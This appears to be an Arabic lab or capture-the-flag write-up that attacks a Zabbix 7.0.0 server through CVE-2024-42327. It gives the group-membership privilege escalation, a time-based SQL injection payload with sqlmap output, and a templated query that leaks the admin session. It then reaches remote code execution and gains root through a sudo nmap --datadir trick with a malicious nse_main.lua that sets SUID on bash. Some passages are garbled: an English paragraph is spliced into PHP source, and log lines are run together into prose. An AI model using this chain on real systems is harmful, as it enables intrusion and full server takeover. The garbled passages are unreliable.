
شرح cve-2024-42327
الهدف: 10.129.231.176
معلومات: أعلم أن هدفي هو خادم Zabbix. حصلت على حساب مستخدم افتراضي لتسجيل الدخول إلى Zabbix: user matthew passwd 96qzn0h2e1k3. هذا الحساب بمستخدم افتراضي، بدون مجموعات أو صلاحيات إضافية.
كالعادة، نبدأ بالتعداد، سنقوم بفحص المنافذ باستخدام nmap.

يُظهر لنا ناتج nmap أن منفذ ssh الافتراضي و apache2 أيضًا على المنفذ الافتراضي. لدينا أيضًا المنفذان 10051 و 10050 يعمل عليهما بعض خدمات Zabbix.
دعنا نصل إلى Zabbix بوضع عنوان IP في رابط المتصفح وعلى منفذ http الافتراضي، المنفذ 80.

هذه هي شاشة تسجيل الدخول إلى Zabbix، سأقوم بتسجيل الدخول بالمستخدم الذي استلمته


في التذييل، وجدت إصدار Zabbix:

باستخدام جوجل، بحثت عما إذا كان هناك أي CVE لهذا الإصدار من Zabbix

بعد وقت طويل من البحث، رأيت أن هذا الإصدار عرضة لـ CVE-2024-42327 الذي يتحدث عن استغلال حقن SQL للحصول على بيانات قاعدة البيانات وتصعيد الامتيازات، و CVE-2024-36467 الذي يتحدث عن السماح بتغيير دور المستخدم إلى مستخدم خارق من خلال إساءة استخدام ضوابط الوصول المفقودة.
https://nvd.nist.gov/vuln/detail/CVE-2024-36467
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
في توثيق Zabbix هناك شرح لكيفية إجراء طلبات HTTP لاستدعاء API.

https://www.zabbix.com/documentation/current/en/manual/api
أرسلت الطلب مستدعيًا appiinfo.version الذي يعلّمنا إياه في التوثيق

والذي أعاد إلينا التالي:
{"jsonrpc":"2.0","result":"7.0.0","id":1}
للاختبار التالي، غيّرت بعض المعاملات في هذا الطلب لإرساله مرة أخرى

في method، غيّرت من appinfo.version إلى user.login وأضفت المعاملين username و password. هذا أيضًا رأيته في توثيق Zabbix.

أعاد إلينا رمزًا (token):
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}
بعد مزيد من وقت البحث، قررت الذهاب إلى مستودع Zabbix على GitHub
https://github.com/zabbix/zabbix
بحثت عن CUser ووجدت ملف CUser.php

وجدنا الدالة user.update:
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}
لم أجد أي تحقق من الصلاحيات، لذلك قررت تغيير دوري إلى دور مستخدم خارق، عدت إلى الطلب وأجريت التعديلات على الحمولة

أعاد لي خطأ برسالة invalid params.
بعد مزيد من التحليل الطويل للكود وجدنا هذه الدالة
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}
وفقًا لهذا المقتطف، لا يمكننا تغيير أدوارنا لأن دورنا يتم التحقق منه عن طريق استخراج بياناتنا من رمز API والتحقق في قاعدة البيانات مما إذا كنا هذا المستخدم. لكن بتحليل الكود، نرى أن usrgrps لا يحتوي على أي تحقق، ولهذا النقص في التحقق، يمكن إساءة استخدامه لإضافتنا إلى مجموعات متعددة دفعة واحدة. لا يوجد أي تحقق يمنع المستخدم من إضافة نفسه إلى مجموعات لا ينبغي أن يملك حق الوصول إليها.
لنحاول تصعيد الامتيازات بسبب غياب هذا التحقق، قمت بتعديل الحمولة (payload) وأرسلت الطلب مرة أخرى

userid 3 يشير إلى معرف المستخدم matthew
usrgrps يحتوي على قائمة بمعرفات المجموعات: 13 وهي مجموعة Internal و 7 وهي مجموعة Zabbix administrators. استجابة الخادم تؤكد نجاح العملية:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
الآن يمكننا استخراج مجموعات المستخدمين للمستخدم الحالي. لنعدّل الطلب ونرسله مرة أخرى.

عند فحص الاستجابة، نرى أن المستخدم ذو المعرف 3 موجود في مجموعتي Internal و Zabbix administrators.
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps": [{"usrgrpid":"7","name":"Zabbix administrators"}, {"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps": [{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps": [{"usrgrpid":"7","name":"Zabbix administrators"}, {"usrgrpid":"13","name":"Internal"}]}],"id":1}
في سيناريو حيث تم تعيين مجموعة Hosts صالحة لمجموعة Zabbix administrators، يمكنهم الاستفادة من إنشاء العناصر لتفعيل تنفيذ التعليمات البرمجية عن بُعد، وهو ما سيتم تناوله في CVE التالي.
بتحليل الكود المصدري في الفئة CUser مرة أخرى، فحصنا الدالة user.get في السطر 68. يحتوي السطر 108 على تحقق بالكود التالي:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
من هذا الكود، إذا تم توفير الخيار editable في الطلب إلى API، فبدلاً من التحقق من مجموعة المستخدمين، سيتحقق الكود فقط مما إذا كان معرف المستخدم الحالي يطابق المستخدم الحالي، مما يتجاهل الصلاحيات عند استخدام الدالة user.get. في السطر 234، يتم استدعاء addRelatedObjects، وهي الدالة الضعيفة القابلة للحقن بـ SQL. بتحليل الدالة addRelatedObject في السطر 2969، نرى أن معظم عبارات SQL تبدو آمنة، حتى نصل إلى السطر 3041.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
في هذا الجزء، إذا تم تحديد الخيار selectRole، فسيتم إجراء استدعاء غير آمن للدالة DBSelect دون تعقيم مدخلات المستخدم. يؤدي هذا إلى حقن SQL أعمى زمني (Time-based) وأعمى منطقي (Boolean Blind).
لاختبار ذلك، أخذنا حمولة من هذا الرابط وتحققنا مما إذا كان لدينا نقطة حقن ناجحة في معاملات selectRole.

حققنا إصابة ناجحة وأصبح الهدف نائمًا لمدة 5 ثوانٍ.
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%
باستخدام Charles Proxy اعترضنا الطلب وحفظناه في ملف بالطلب التالي:

الآن، باستخدام SQLMap، حاولنا تحديد الثغرات المحتملة واستخراج بيانات قاعدة البيانات:

بعد فترة، حصلنا على النتيجة التالية:
available databases [2]:
[*] information_schema
[*] zabbix
وفقًا للمخرجات، نجحنا في الحصول على أسماء قواعد البيانات من خلال استغلال حقن SQL الزمني.
الآن دعونا نجرب الـ RCE (تنفيذ الأوامر عن بُعد)
يمكننا استخدام الوكلاء (agents) الذين تم ضبطهم بشكل خاطئ للحصول على تنفيذ عن بُعد للأوامر. للقيام بذلك من خلال حقن SQL الزمني، نحتاج إلى تسريب جدول الجلسات في قاعدة البيانات لمعرفة ما إذا كان مستخدم Admin قد تمت مصادقته. للأسف، نظرًا لأنه هجوم زمني، فقد يستغرق هذا بعض الوقت، لذلك أدرجت سكربت متعدد الخيوط يستخرج جلسة المسؤول بشكل أسرع لاستخدامها لاحقًا.
أصبحت الحمولة هكذا:

هذا حقن SQL متداخل زمني، حيث نقوم بحقن حمولتنا في معامل الاسم، مضيفين AND لربط الشرط.
SELECT * FROM (SELECT(SLEEP(...)))BEEF
نستخدم شرط SELECT خارجي يغلّف شرط SLEEP في استعلام فرعي معنون باسم BEEF.
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))
شرط IF [17:26:03] [INFO] تمديد الفواصل الزمنية تلقائيًا لاختبار تقنية حقن استعلام UNION، نظرًا لوجود تقنية أخرى (محتملة) على الأقل [17:26:04] [INFO] التحقق مما إذا كانت نقطة الحقن في معامل POST (المخصص) '#1*' إيجابية كاذبة. معامل POST (المخصص) '#1*' ضعيف. هل تريد متابعة اختبار الآخرين (إن وجدوا)؟ [s/N] n حدد sqlmap نقاط الحقن التالية بإجمالي 77 طلب HTTP: قواعد البيانات المتاحة [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) يتحقق مما إذا كان الحرف المستخرج يطابق حرف ASCII المتوقع (ord(char)). إذا تم استيفاء الشرط وتم تشغيل شرط SLEEP، فقد حددنا الحرف الصحيح ويمكننا تسريب sessionid المكون من 32 حرفًا
كتبت سكربت بلغة Python وقمت بتشغيله.


بعد تشغيل السكربت، نرى أننا حصلنا بنجاح على جلسة المسؤول في 30 ثانية فقط.

باستخدام رمز API الخاص بمستخدم Admin، يمكننا المتابعة لإنشاء عنصر ثم تشغيل العنصر عبر مهمة. أولاً، نحتاج إلى إنشاء العنصر، لكن نحتاج إلى الحصول على معرّفات المضيفين الحالية مع معرّفات الواجهات الخاصة بهم.

حصلنا على الاستجابة:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}
الآن يمكننا إنشاء عنصر بالحمولة التالية:

قبل الضغط على Enter في الحمولة، قمنا بإعداد مستمع nc على المنفذ 4448 وانتظرنا بضع ثوانٍ.

الآن حان وقت الضغط على Enter في الحمولة

نجح الأمر، تم إنشاء المهمة بحملنا الخبيث وحصلنا على RCE (تنفيذ الأوامر عن بُعد)، الآن لدينا وصول إلى الخادم.

الآن بعد أن حصلنا على وصول إلى الخادم، ننتقل إلى تصعيد الامتيازات، سنحاول الحصول على وصول root إلى الخادم
بما أننا مستخدم zabbix، دعونا نتحقق مما إذا كان يمكننا تنفيذ أي برنامج بصلاحيات sudo:

نرى أنه يمكننا تشغيل /usr/bin/nmap دون قيود. بعد فترة من البحث على الإنترنت، وجدت مشروع GTFOBins. GTFOBins هو مستودع يسرد الثنائيات الموجودة في أنظمة Unix/Linux والتي يمكن استخدامها بشكل إبداعي لتصعيد الامتيازات، والهروب من البيئات المقيدة (مثل chroot أو الحاويات)، وتنفيذ أوامر خبيثة.

https://gtfobins.github.io/gtfobins/nmap/#sudo
لنحاول استخدام أسلوب الهروب عبر sudo من GTFOBins.

يبدو أن Nmap محمي بواسطة سكربت غلاف (wrapper script)، وهو طبقة حماية إضافية تم تنفيذها للحد من استخدام الخيارات القابلة للاستغلال في Nmap. لنحاول قراءة الملف /usr/bin/nmap. سنفتحه باستخدام محرر النصوص nano ونحلل هذا الملف

بعد الكثير من البحث، رأيت أن جميع حيل GTFOBins عديمة الفائدة في هذا السيناريو. قاموا بتطبيق wrapper لحماية Nmap من الطرق الشائعة لتصعيد الامتيازات. نفدت خياراتي فذهبت لقراءة مكتبة nmap
بعد وقت طويل من القراءة وجدت شيئًا مثيرًا للاهتمام، الخيار --datadir.
https://nmap.org/book/data-files-replacing-data-files.html
يتيح لك هذا الخيار تحديد دليل بيانات حيث يتم تخزين السكربتات الافتراضية والعناصر الأساسية الأخرى لـ nmap، الافتراضي في هذه الحالة هو /usr/share/nmap. لنرَ صلاحيات هذا الملف:

بالبحث عن هذه الملفات، رأيت أن ملف nse_main.lua هو ملف السكربت الافتراضي الذي يمكن تشغيله بواسطة المعامل -sC، وهو ملف السكربت الرئيسي لمحرك Nmap Scripting Engine (NSE). يحتوي على دوال يتم تنفيذها عند استخدام Nmap مع الخيار -sC (فحص بالسكربتات الافتراضية). من خلال إنشاء سكربت خبيث بهذا الاسم، يمكن جعل Nmap ينفذه تلقائيًا. لاستغلال ذلك، سننشئ ملفًا جديدًا في /tmp/nse_main.lua يحتوي على os.execute("chmod 4755 /bin/bash").
أنشأت الملف nse_main.lua ويحتوي بداخله على الأمر os.execute("chmod 4755 /bin/bash").
4755: يضبط SUID (Set User ID) على الثنائي /bin/bash. يتيح ذلك لأي مستخدم يشغّل /bin/bash أن يتمتع بنفس صلاحيات مالك الملف، وهو root.


عند فحص localhost مع تفعيل -sC، قمنا بتعيين /bin/bash إلى SUID وإنشاء شل بمعرف المستخدم الفعّال للمستخدم root.

--datadir=/tmp: يجعل Nmap يبحث عن ملفات الإعداد والسكربتات الخاصة به في دليل /tmp. يتضمن ذلك السكربت الخبيث nse_main.lua.
-sC: يفعّل تنفيذ السكربتات الافتراضية، بما في ذلك السكربت الخبيث الذي أنشأناه للتو.
localhost: يجعل Nmap يقوم بالفحص على النظام نفسه.
يتم تنفيذ السكربت nse_main.lua بواسطة Nmap بصلاحيات root (لأن الأمر تم تنفيذه باستخدام sudo)

مع تفعيل SUID، يمكننا تنفيذ: /bin/bash -p

-p: يحافظ على بت SUID وينفذ bash بصلاحيات المالك (root).

uid=114: هوية المستخدم zabbix. euid=0: يعمل فعليًا كـ root.
الآن حصلنا على صلاحيات root.